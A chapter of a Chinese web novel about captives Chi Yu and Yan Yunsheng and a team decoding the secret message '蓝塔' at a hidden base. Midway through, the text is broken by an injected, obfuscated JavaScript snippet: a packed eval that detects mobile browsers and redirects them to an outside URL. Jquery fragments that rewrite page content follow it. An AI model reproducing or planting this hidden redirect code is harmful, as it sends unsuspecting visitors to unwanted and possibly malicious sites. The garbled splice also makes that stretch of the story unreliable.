燕云笙被良白请上车,并没有被捆绑住,只有手上的通信被良白取下来随意丢在那个房间里。
大概在他们眼里,她构不成什么威胁。车辆离开基地,路上颠簸,燕云笙坐在车内要吐了。
“你们到底会不会开车。”燕云笙捂着嘴,评价道。丝毫没有被动方的觉悟
坐在对面抱着胳膊,始终一言未发闭眼休息的良白,在此时慢悠悠地睁开了眼,倒是没有怼燕云笙的话,而是问道:“你是怎么被兽化的?”
燕云笙放下手,有点惊讶地看向良白,“你是在问我吗?”
良白突然露出的眼神说明了一切,燕云笙没在意,但这个事情也没好隐瞒的,没有犹豫道:“A药。”
良白听到这词,眼睛有一瞬间的惊讶,快到燕云笙都在想是不是看错了。又仔细看良白,他又恢复到那种要睡不醒的状态,像什么也不在意。
没说什么,继续抱着胳膊闭着眼。
燕云笙感到奇怪,但也没说话,窗外的景色很陌生,不知道良白带她去的地方到底是哪,是否能见到迟郁。
迟郁有没有危险一切都未知。不过,燕云笙此时所担心的是未建立的精神链接。
她需要靠近叶清。
-
依旧是纯白色空间,里面什么都没有,四周的墙壁洁白无瑕,迟郁坐靠在墙面,刺眼的白光让眼睛变得非常干涩酸痛。
吃下假性A药,他的身体还处在虚弱的阶段,除了扰乱对方的计划,假性A药的作用不是特别大。不过,他成功地进入属于他们的地方了。
自从迟郁进入陌生的地界,就被关在这个房间内,哦,还有晕死过去的叶清。
迟郁眯着眼看瘫倒地面的叶清,像是被强制关机,叶清从抓回他,就晕倒在车上。
大概是他们控制了叶清。
进来前迟郁被搜过身,结果是什么都没搜到。
迟郁抬眼盯着墙角的微型监控,它记录的这个房间内的风吹草动。
迟郁站起身来,慢慢走到叶清身边,将他扶起来稳稳靠在墙上,仿佛他们俩关系非常好,好到陷入危险的境遇,也能去帮助另一个人。
在另一处房间内,男人注视着监控画面,观察着迟郁的一举一动。
忽然,门被轻敲两下。
“进。”
是年轻小子。他报告道:“头,良白已经抓到燕云笙,现正在回总部的路上。”
真是个好消息,男人一笑,“做得不错。”
“让良白看好她,将她完好无损地带回来,毕竟是成功的实验体。”
“是,头儿。不过……”年轻小子欲言又止。
“你想说什么。”
“那,那个女孩是怎么成功作……”年轻小子在男人的注视下,突然闭嘴,慌忙道:“没事了头儿,我现在去告诉良白了。”
男人警告道:“有些事不是你们该知道的,管好你自己。”
年轻小子挠挠头,颤颤道:“…我明白的,那我先走了头儿。”随即退出房间关上门。
年轻小子站在门外眼睛低垂,朝关闭的门看了一眼,最终跑开了。
男人再次看向监控画面,画面内,迟郁似乎累了,坐在叶清身边闭上眼休息,再无动静。
“来人。”
门外很快进来一个人,男人交代道:“看好他,注意他不要有什么动作。情况有异,立马通知我。”
“是。”
男人走了出去。
看着在休息的迟郁其实已经悄悄从叶清身上取下他想要的东西。
他料到会搜身,早在叶清抓住他那一次,小型通信已经放在叶清身上了。
果然,他们对控制住的叶清明显警惕性放松,甚至在叶清晕倒的那一刻,就好似没有任何危险了。
手心之下是小型通讯器,上面带着定位,和有限信息容量。
挨着叶清坐下,能够很好地进入监控死角,靠着身体的遮挡,甚至还有尾巴,迟郁的手在下面悄悄操作。
对小型通讯器的了解,迟郁熟练盲打道:“蓝塔。”
绿脉,地如其名,一眼望去全是各种各样的绿色,远离临市,与基地不在一个方位,未开发地区,早被迟郁买了下来。
表面上这样,从联系到绿脉的人员,所谓的未开化地区在绿脉人员启动那一刻俨然变成另一副模样。
在冬日寸草不生的季节,绿脉呈现出的样子就像草长莺飞的暮春时节,所有植物生机勃勃。
基地里的人从来都没见过绿脉,更不知道它的存在。
所以在秦江踏入这里的第一步,惊讶地望着苏铭,语无伦次道:“这,这这这。我们什么,不是,怎么没一个人告诉还有这样的地方存在。”
苏铭,“你也没问。”
“你说的是人话吗?”秦江还想理论一番。但苏铭打断道:“先不说这个,要赶快安排受伤人员,还有联系到迟总。”
秦江在重要事情上毫不含糊,沉重点点头,“我知道,已经安排下去了。宋研究以及剩下的研究人员都已经被绿脉的人接收,且情况稳定了。云笙姐让救援的那个叫颜小回的,已经安全送回家了。”
苏铭有意看向秦江,“那么现在就要完成那件事了。”
“是。”话锋一转,秦江还是怀疑道:“迟总的计划真的没问题吗?不确定性太大了。”
苏铭摇摇头,“不,眼下我们能做的只有相信迟总。计划是否成功,都要保全迟总的安全。”
进入绿脉快两日,苏铭与秦江日夜不息地守在一处房间,里面各种机器是与迟郁身上带着的小型通讯器同源。
两人都在等待着信号。
秦江揉了揉疲惫的眼睛,从椅子上起来,“我先去看看宋——”
急促的提示音响彻整个房间,绿脉的人员很少,能做的只是守护绿脉,此时留在房间内的人员,大部分都是基地里的技术人员。
秦江停下脚步,迅速来到技术人员身边,“有吗?”
连苏铭都站起身来,紧盯全息屏。即使发展到十年后的世界,做程序员的依旧改变不了头秃的诅咒。
操控着数据,前半边已经变得锃亮的脑袋,无一根头发的王大秃,戴着眼镜,眉头紧锁,“信号十分不稳定,我不确定是否能接收到。”
“不确定也要确定。迟总发了什么?”
王大秃,“唉,你这个。”
苏铭及时打断,“是不是因为通讯器所在的地方有干扰器。”
王大秃没理会秦江,手速不停地在全息键盘上飞速操作,回答苏铭的问题,“嗯,这个可能性非常大。”
“不过,既然提示音响起,那么迟总所在的地方干扰信号,一定存在什么东西,阻挡了干扰器。”
还没一分钟,旁边的秦江急迫到都要代替王大秃操作了,但还有些理智,秦江压下焦急,看着王大秃操作。
最终,在两分钟后,王大秃惊喜地叫道:“成功了。”
秦江和苏铭立马凑了上去,全息屏幕显示两个字,“蓝塔。”
王大秃无头发所挠,手欠的挠后边仅剩的头发,“迟总手上的是通讯和定位二合一特制研发的小型通讯器。而接收到的这句讯息,必然是带着定位一起的。但问题就是……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396489|190585||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苏铭,“没有定位。”
王大秃叹气道:“是。”
秦江慌忙道:“那该怎么办?这个蓝塔又是什么意思?”
王大秃再次操作着,“只能试一试那个方法了。这种场面其实原来跟迟总交流这款小型通讯器时,就预想过这种情况。”
“它是有限信息容量的通讯,这两个字绝对是有效讯息,不会那么简单。”
王大秃边操作边问道:“蓝塔你们会联想到什么。”
秦江,“蓝塔有什么能联系到的?蓝塔无非就是蓝色的塔,还能联想到什么?”
“很多,说不定迟总所在的地方就有一个蓝色的塔呢。”
秦江不信道:“怎么可能,且不说是蓝色这么显眼的标志,还是一座塔,那些人怎么会将自己暴露在这么明显的地方。”
苏铭没说话,盯着蓝塔两个字不知道在想什么。
“而且这种东西早就不存在了吧。连著名的埃尔铁塔都变成墙上的一幅照片,现在还有哪个地方会有塔这种东西。”
王大秃按下最后一个键,“你说得没错,世界大发展,很多东西都被替代不复存在了。但知识就是力量,它可不会消失。”
“你们看。”
苏铭和秦江一同低头看王大秃手边的电脑,3D全息投影所显示一个特殊的建筑。
“蓝色水塔。”
“水塔最初始于19世纪工业革命,随集中供水需求而诞生,早期兼具消防瞭望功能。20世纪中叶,钢筋混凝土与液压滑模工艺带来革新,我国独创的倒锥壳水塔造价低、工期短,成为七八十年代普及的经典形制。21世纪,随着管网增压技术普及,水塔供水功能被取代,但作为工业遗存被保留,或改造为通讯基站、储能设施,从功能建筑转型为城市记忆符号与技术新载体。”
“但世界发展到现在,这种建筑早已经被彻底取代,现在想见到一个水塔可谓非常难。而蓝色水塔就更难了。”
王大秃放大投影,“可这个水塔就非常特殊。它是最后消失的一座水塔”
秦江,“为什么?”
“因为从这个蓝色水塔拯救了一群孩子。”
秦江不明白,“这个水塔发生了什么?”
王大秃正要解释,苏铭低声道:“因为它的蓝色在特定光线下,成了唯一的求救标识。”
但明显苏铭不愿多说,只是默默说了这一句话,秦江望向低头看不清神情的苏铭,突然进来一个人,手上拿了一个圆形素环,慌忙道:“队长,你看这个。”
跟迟郁一模一样的通讯素环,苏铭意识到不好。
“我们根据定位前往基地时,看到路上有新鲜车轮子的印记,且在居住区房间内发现了丢在地上的通讯素坏。”
“在基地没有发现燕小姐的踪迹。”
秦江,“怎么会,前后相差的时间不大,怎么会没人。而且根据颜小回说的,她们已经甩掉后面的人。绿脉只有我和你才能快速打开所有权限,所以我才会派出一整队的人去找云笙姐,怎么可能,怎么可能……”
苏铭手放在陷入自责的秦江肩膀上,询问队员,“定位还在吗?”
队员摇摇头,“消失了。”
苏铭看向身后一脸担忧的王大秃,“你看好他,尽快找到方位。”
看向秦江,“你就留在这里。”
“我跟你。”
“不。”苏铭打断道:“我会找到燕云笙,你留在这里,不要忘了还有迟总。”
秦江怔愣地望向苏铭的眼睛。
“相信我。”苏铭拍了拍他的肩膀,留下一句话,最后带着队员走出房间。